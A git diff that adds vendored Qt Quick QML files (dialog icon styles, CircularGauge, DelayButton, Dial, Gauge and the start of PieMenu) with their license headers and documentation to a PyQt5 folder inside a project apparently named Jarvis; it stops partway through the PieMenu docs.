The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.1 + +ButtonStyle { + FontLoader { id: iconFont; source: "icons.ttf" } + + label: Text { + id: text + font.family: iconFont.name + font.pointSize: TextSingleton.font.pointSize * 1.5 + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + text: control.text + color: SystemPaletteSingleton.buttonText(control.enabled) + verticalAlignment: Text.AlignVCenter + horizontalAlignment: Text.AlignHCenter + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconButtonStyle.qmlc new file mode 100644 index 00000000..795bc41d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconGlyph.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconGlyph.qml new file mode 100644 index 00000000..728ce7e1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconGlyph.qml @@ -0,0 +1,49 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +Text { + id: icon + width: height + verticalAlignment: Text.AlignVCenter + font.family: iconFont.name + property alias unicode: icon.text + FontLoader { id: iconFont; source: "icons.ttf"; onNameChanged: console.log("custom font" + name) } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconGlyph.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconGlyph.qmlc new file mode 100644 index 00000000..d1a1a5e6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconGlyph.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/icons.ttf b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/icons.ttf new file mode 100644 index 00000000..54289ca9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/icons.ttf differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/qmldir new file mode 100644 index 00000000..b130eec8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/qmldir @@ -0,0 +1,3 @@ +ColorSlider 1.0 ColorSlider.qml +IconButtonStyle 1.0 IconButtonStyle.qml +IconGlyph 1.0 IconGlyph.qml diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qmldir new file mode 100644 index 00000000..88df140e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qmldir @@ -0,0 +1,10 @@ +module QtQuick.Dialogs +plugin dialogplugin +classname QtQuick2DialogsPlugin +typeinfo plugins.qmltypes +depends Qt.labs.folderlistmodel 1.0 +depends Qt.labs.settings 1.0 +depends QtQuick.Dialogs.Private 1.0 +depends QtQuick.Controls 1.3 +depends QtQuick.PrivateWidgets 1.1 +depends QtQml 2.14 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/CircularGauge.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/CircularGauge.qml new file mode 100644 index 00000000..d42e17d5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/CircularGauge.qml @@ -0,0 +1,160 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +// Workaround for QTBUG-37751; we need this import for RangeModel, although we shouldn't. +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras.Private 1.0 + +/*! + \qmltype CircularGauge + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \ingroup extras-non-interactive + \brief A gauge that displays a value within a range along an arc. + + \image circulargauge.png CircularGauge + + The CircularGauge is similar to traditional mechanical gauges that use a + needle to display a value from some input, such as the speed of a vehicle or + air pressure, for example. + + The minimum and maximum values displayable by the gauge can be set with the + \l minimumValue and \l maximumValue properties. The angle at which these + values are displayed can be set with the + \l {CircularGaugeStyle::}{minimumValueAngle} and + \l {CircularGaugeStyle::}{maximumValueAngle} properties of + \l {CircularGaugeStyle}. + + Example: + \code + CircularGauge { + value: accelerating ? maximumValue : 0 + anchors.centerIn: parent + + property bool accelerating: false + + Keys.onSpacePressed: accelerating = true + Keys.onReleased: { + if (event.key === Qt.Key_Space) { + accelerating = false; + event.accepted = true; + } + } + + Component.onCompleted: forceActiveFocus() + + Behavior on value { + NumberAnimation { + duration: 1000 + } + } + } + \endcode + + You can create a custom appearance for a CircularGauge by assigning a + \l {CircularGaugeStyle}. +*/ + +Control { + id: circularGauge + + style: Settings.styleComponent(Settings.style, "CircularGaugeStyle.qml", circularGauge) + + /*! + \qmlproperty real CircularGauge::minimumValue + + This property holds the smallest value displayed by the gauge. + */ + property alias minimumValue: range.minimumValue + + /*! + \qmlproperty real CircularGauge::maximumValue + + This property holds the largest value displayed by the gauge. + */ + property alias maximumValue: range.maximumValue + + /*! + This property holds the current value displayed by the gauge, which will + always be between \l minimumValue and \l maximumValue, inclusive. + */ + property alias value: range.value + + /*! + \qmlproperty real CircularGauge::stepSize + + This property holds the size of the value increments that the needle + displays. + + For example, when stepSize is \c 10 and value is \c 0, adding \c 5 to + \l value will have no visible effect on the needle, although \l value + will still be incremented. Adding an extra \c 5 to \l value will then + cause the needle to point to \c 10. + */ + property alias stepSize: range.stepSize + + /*! + This property determines whether or not the gauge displays tickmarks, + minor tickmarks, and labels. + + For more fine-grained control over what is displayed, the following + style components of + \l CircularGaugeStyle can be + used: + + \list + \li \l {CircularGaugeStyle::}{tickmark} + \li \l {CircularGaugeStyle::}{minorTickmark} + \li \l {CircularGaugeStyle::}{tickmarkLabel} + \endlist + */ + property bool tickmarksVisible: true + + RangeModel { + id: range + minimumValue: 0 + maximumValue: 100 + stepSize: 0 + value: minimumValue + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/CircularGauge.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/CircularGauge.qmlc new file mode 100644 index 00000000..4879a7f3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/CircularGauge.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/DelayButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/DelayButton.qml new file mode 100644 index 00000000..9a0c3a25 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/DelayButton.qml @@ -0,0 +1,161 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype DelayButton + \inherits QtQuickControls::Button + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \ingroup extras-interactive + \brief A checkable button that triggers an action when held in long enough. + + \image delaybutton.png A DelayButton + + The DelayButton is a checkable button that incorporates a delay before + the button becomes checked and the \l activated signal is emitted. This + delay prevents accidental presses. + + The current progress is expressed as a decimal value between \c 0.0 and + \c 1.0. The time it takes for \l activated to be emitted is measured in + milliseconds, and can be set with the \l delay property. + + The progress is indicated by a progress indicator around the button. When + the indicator reaches completion, it flashes. + + \image delaybutton-progress.png A DelayButton being held down + A DelayButton being held down + \image delaybutton-activated.png A DelayButton after being activated + A DelayButton after being activated + + You can create a custom appearance for a DelayButton by assigning a + \l {DelayButtonStyle}. +*/ + +Button { + id: root + + style: Settings.styleComponent(Settings.style, "DelayButtonStyle.qml", root) + + /*! + \qmlproperty real DelayButton::progress + + This property holds the current progress as displayed by the progress + indicator, in the range \c 0.0 - \c 1.0. + */ + readonly property alias progress: root.__progress + + /*! + This property holds the time it takes (in milliseconds) for \l progress + to reach \c 1.0 and emit \l activated. + + The default value is \c 3000 ms. + */ + property int delay: 3000 + + /*! + This signal is emitted when \l progress reaches \c 1.0 and the button + becomes checked. + */ + signal activated + + + /*! \internal */ + property real __progress: 0.0 + + Behavior on __progress { + id: progressBehavior + + NumberAnimation { + id: numberAnimation + } + } + + Qml.Binding { + // Force checkable to false to get full control over the checked -property + target: root + property: "checkable" + value: false + restoreMode: Binding.RestoreBinding + } + + onProgressChanged: { + if (__progress === 1.0) { + checked = true; + activated(); + } + } + + onCheckedChanged: { + if (checked) { + if (__progress < 1) { + // Programmatically activated the button; don't animate. + progressBehavior.enabled = false; + __progress = 1; + progressBehavior.enabled = true; + } + } else { + // Unchecked the button after it was flashing; it should instantly stop + // flashing (with no reversed progress bar). + progressBehavior.enabled = false; + __progress = 0; + progressBehavior.enabled = true; + } + } + + onPressedChanged: { + if (checked) { + if (pressed) { + // Pressed the button to stop the activation. + checked = false; + } + } else { + var effectiveDelay = pressed ? delay : delay * 0.3; + // Not active. Either the button is being held down or let go. + numberAnimation.duration = Math.max(0, (pressed ? 1 - __progress : __progress) * effectiveDelay); + __progress = pressed ? 1 : 0; + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/DelayButton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/DelayButton.qmlc new file mode 100644 index 00000000..419644f8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/DelayButton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Dial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Dial.qml new file mode 100644 index 00000000..688f13d9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Dial.qml @@ -0,0 +1,229 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 + +/*! + \qmltype Dial + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \ingroup extras-interactive + \brief A circular dial that is rotated to set a value. + + \image dial.png A Dial + + The Dial is similar to a traditional dial knob that is found on devices + such as stereos or industrial equipment. It allows the user to specify a + value within a range. + + Like CircularGauge, Dial can display tickmarks to give an indication of + the current value. When a suitable stepSize is combined with + \l {DialStyle::}{tickmarkStepSize}, + the dial "snaps" to each tickmark. + + You can create a custom appearance for a Dial by assigning a + \l {DialStyle}. +*/ + +Control { + id: dial + + activeFocusOnTab: true + style: Settings.styleComponent(Settings.style, "DialStyle.qml", dial) + + /*! + \qmlproperty real Dial::value + + The angle of the handle along the dial, in the range of + \c 0.0 to \c 1.0. + + The default value is \c{0.0}. + */ + property alias value: range.value + + /*! + \qmlproperty real Dial::minimumValue + + The smallest value allowed by the dial. + + The default value is \c{0.0}. + + \sa value, maximumValue + */ + property alias minimumValue: range.minimumValue + + /*! + \qmlproperty real Dial::maximumValue + + The largest value allowed by the dial. + + The default value is \c{1.0}. + + \sa value, minimumValue + */ + property alias maximumValue: range.maximumValue + + /*! + \qmlproperty real Dial::hovered + + This property holds whether the button is being hovered. + */ + readonly property alias hovered: mouseArea.containsMouse + + /*! + \qmlproperty real Dial::stepSize + + The default value is \c{0.0}. + */ + property alias stepSize: range.stepSize + + /*! + \internal + Determines whether the dial can be freely rotated past the zero marker. + + The default value is \c false. + */ + property bool __wrap: false + + /*! + This property specifies whether the dial should gain active focus when + pressed. + + The default value is \c false. + + \sa pressed + */ + property bool activeFocusOnPress: false + + /*! + \qmlproperty bool Dial::pressed + + Returns \c true if the dial is pressed. + + \sa activeFocusOnPress + */ + readonly property alias pressed: mouseArea.pressed + + /*! + This property determines whether or not the dial displays tickmarks, + minor tickmarks, and labels. + + For more fine-grained control over what is displayed, the following + style components of + \l {DialStyle} can be used: + + \list + \li \l {DialStyle::}{tickmark} + \li \l {DialStyle::}{minorTickmark} + \li \l {DialStyle::}{tickmarkLabel} + \endlist + + The default value is \c true. + */ + property bool tickmarksVisible: true + + Keys.onLeftPressed: value -= stepSize + Keys.onDownPressed: value -= stepSize + Keys.onRightPressed: value += stepSize + Keys.onUpPressed: value += stepSize + Keys.onPressed: { + if (event.key === Qt.Key_Home) { + value = minimumValue; + event.accepted = true; + } else if (event.key === Qt.Key_End) { + value = maximumValue; + event.accepted = true; + } + } + + RangeModel { + id: range + minimumValue: 0.0 + maximumValue: 1.0 + stepSize: 0 + value: 0 + } + + MouseArea { + id: mouseArea + hoverEnabled: true + parent: __panel.background.parent + anchors.fill: parent + + onPositionChanged: { + if (pressed) { + value = valueFromPoint(mouseX, mouseY); + } + } + onPressed: { + if (!__style.__dragToSet) + value = valueFromPoint(mouseX, mouseY); + + if (activeFocusOnPress) + dial.forceActiveFocus(); + } + + function bound(val) { return Math.max(minimumValue, Math.min(maximumValue, val)); } + + function valueFromPoint(x, y) + { + var yy = height / 2.0 - y; + var xx = x - width / 2.0; + var angle = (xx || yy) ? Math.atan2(yy, xx) : 0; + + if (angle < Math.PI/ -2) + angle = angle + Math.PI * 2; + + var range = maximumValue - minimumValue; + var value; + if (__wrap) + value = (minimumValue + range * (Math.PI * 3 / 2 - angle) / (2 * Math.PI)); + else + value = (minimumValue + range * (Math.PI * 4 / 3 - angle) / (Math.PI * 10 / 6)); + + return bound(value) + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Dial.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Dial.qmlc new file mode 100644 index 00000000..40778d4d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Dial.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Gauge.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Gauge.qml new file mode 100644 index 00000000..276cc125 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Gauge.qml @@ -0,0 +1,210 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 + +/*! + \qmltype Gauge + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \ingroup extras-non-interactive + \brief A straight gauge that displays a value within a range. + + \image gauge.png Gauge + + The Gauge control displays a value within some range along a horizontal or + vertical axis. It can be thought of as an extension of ProgressBar, + providing tickmarks and labels to provide a visual measurement of the + progress. + + The minimum and maximum values displayable by the gauge can be set with the + \l minimumValue and \l maximumValue properties. + + Example: + \code + Gauge { + minimumValue: 0 + value: 50 + maximumValue: 100 + anchors.centerIn: parent + } + \endcode + + You can create a custom appearance for a Gauge by assigning a + \l {GaugeStyle}. +*/ + +Control { + id: gauge + + style: Settings.styleComponent(Settings.style, "GaugeStyle.qml", gauge) + + /*! + This property holds the smallest value displayed by the gauge. + + The default value is \c 0. + */ + property alias minimumValue: range.minimumValue + + /*! + This property holds the value displayed by the gauge. + + The default value is \c 0. + */ + property alias value: range.value + + /*! + This property holds the largest value displayed by the gauge. + + The default value is \c 100. + */ + property alias maximumValue: range.maximumValue + + /*! + This property determines the orientation of the gauge. + + The default value is \c Qt.Vertical. + */ + property int orientation: Qt.Vertical + + /*! + This property determines the alignment of each tickmark within the + gauge. When \l orientation is \c Qt.Vertical, the valid values are: + + \list + \li Qt.AlignLeft + \li Qt.AlignRight + \endlist + + Any other value will cause \c Qt.AlignLeft to be used, which is also the + default value for this orientation. + + When \l orientation is \c Qt.Horizontal, the valid values are: + + \list + \li Qt.AlignTop + \li Qt.AlignBottom + \endlist + + Any other value will cause \c Qt.AlignBottom to be used, which is also + the default value for this orientation. + */ + property int tickmarkAlignment: orientation == Qt.Vertical ? Qt.AlignLeft : Qt.AlignBottom + property int __tickmarkAlignment: { + if (orientation == Qt.Vertical) { + return (tickmarkAlignment == Qt.AlignLeft || tickmarkAlignment == Qt.AlignRight) ? tickmarkAlignment : Qt.AlignLeft; + } + + return (tickmarkAlignment == Qt.AlignTop || tickmarkAlignment == Qt.AlignBottom) ? tickmarkAlignment : Qt.AlignBottom; + } + + /*! + \internal + + TODO: finish this + + This property determines whether or not the tickmarks and their labels + are drawn inside (over) the gauge. The value of this property affects + \l tickmarkAlignment. + */ + property bool __tickmarksInside: false + + /*! + This property determines the rate at which tickmarks are drawn on the + gauge. The lower the value, the more often tickmarks are drawn. + + The default value is \c 10. + */ + property real tickmarkStepSize: 10 + + /*! + This property determines the amount of minor tickmarks drawn between + each regular tickmark. + + The default value is \c 4. + */ + property int minorTickmarkCount: 4 + + /*! + \qmlproperty font Gauge::font + + The font to use for the tickmark text. + */ + property alias font: hiddenText.font + + /*! + This property accepts a function that formats the given \a value for + display in + \l {GaugeStyle::}{tickmarkLabel}. + + For example, to provide a custom format that displays all values with 3 + decimal places: + + \code + formatValue: function(value) { + return value.toFixed(3); + } + \endcode + + The default function does no formatting. + */ + property var formatValue: function(value) { + return value; + } + + property alias __hiddenText: hiddenText + Text { + id: hiddenText + text: formatValue(maximumValue) + visible: false + } + + RangeModel { + id: range + minimumValue: 0 + value: 0 + maximumValue: 100 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Gauge.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Gauge.qmlc new file mode 100644 index 00000000..ca7aa59b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Gauge.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/PieMenu.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/PieMenu.qml new file mode 100644 index 00000000..cfaaecbe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/PieMenu.qml @@ -0,0 +1,738 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 +import QtQuick.Extras.Private.CppUtils 1.0 as CppUtils + +/*! + \qmltype PieMenu + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \ingroup extras-interactive + \brief A popup menu that displays several menu items along an arc. + + \image piemenu.png A PieMenu + + The PieMenu provides a radial context menu as an alternative to a + traditional menu. All of the items in a PieMenu are an equal distance + from the center of the control. + + \section2 Populating the Menu + + To create a menu, define at least one MenuItem as a child of it: + \code + PieMenu { + id: pieMenu + + MenuItem { + text: "Action 1" + onTriggered: print("Action 1") + } + MenuItem { + text: "Action 2" + onTriggered: print("Action 2") + } + MenuItem { + text: "Action 3" + onTriggered: print("Action 3") + } + } + \endcode + + By default, only the currently selected item's text is displayed above the + menu. To provide text that is always visible when there is no current item, + set the \l title property. + + \section2 Displaying the Menu + + The typical use case for a menu is to open at the point of the mouse + cursor after a right click occurs. To do that, define a MouseArea that + covers the region upon which clicks should open the menu. When the + MouseArea is right-clicked, call the popup() function: + \code + MouseArea { + anchors.fill: parent + acceptedButtons: Qt.RightButton + + onClicked: pieMenu.popup(mouseX, mouseY) + } + \endcode + + If the menu is opened in a position where some of its menu items would be + outside of \l boundingItem, it is automatically moved to a position where + they will not be hidden. By default, the boundingItem is set to the parent + of the menu. It can also be set to \c null to prevent this behavior. + + 